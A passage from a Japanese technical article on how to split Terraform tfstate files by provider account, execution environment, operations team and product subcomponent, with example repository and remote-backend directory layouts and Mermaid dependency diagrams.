異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - ★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up & Running; Writing Infrastructure As CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例：アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)AWSドキュメント・著名な書籍で紹介されています\uD83D\uDC40Terraformに携わるチームが複数ある非常に大規模なプロダクトほど効力を発揮します。実際に私も現在進行形で採用しており、非常に実用的と考えています。【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例：アプリ、ネットワーク、認証/認可、監視、など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。11 Things I wish I knew before working with Terraform – part 1Terraform organization — Part I : What if you split your components ? | by Amine Charot | Mediumコンポーネントは、分けようと思えばいくらでも細分化できてしまいます。細分化した数だけterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── 